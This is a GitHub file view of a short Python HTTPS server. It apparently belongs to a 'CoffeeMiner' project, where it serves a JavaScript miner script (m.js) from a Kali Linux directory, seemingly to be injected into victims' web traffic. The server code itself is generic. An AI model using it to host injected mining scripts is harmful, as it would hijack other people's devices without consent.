-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathhttpServer.py
35 lines (22 loc) · 935 Bytes
/
httpServer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python
import http.server
import socketserver
import os
import ssl
PORT = 443
web_dir = os.path.join(os.path.dirname(__file__), '/home/kali/Desktop/CoffeeMiner2/miner_script/')
os.chdir(web_dir)
# Especifica el nombre del archivo JavaScript
js_file = 'm.js'
# La ruta completa al archivo JavaScript
js_path = os.path.join(web_dir, js_file)
certfile = '/home/kali/Desktop/CoffeeMiner2/cert.pem'
keyfile = '/home/kali/Desktop/CoffeeMiner2/key.pem'
Handler = http.server.SimpleHTTPRequestHandler
# Configura el contexto SSL y carga los certificados
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(certfile="/home/kali/Desktop/CoffeeMiner2/certificate.crt", keyfile="/home/kali/Desktop/CoffeeMiner2/private.key")
httpd = socketserver.TCPServer(("", PORT), Handler)
httpd.socket = context.wrap_socket(httpd.socket, server_side=True)
print("Serving at port", PORT)
httpd.serve_forever()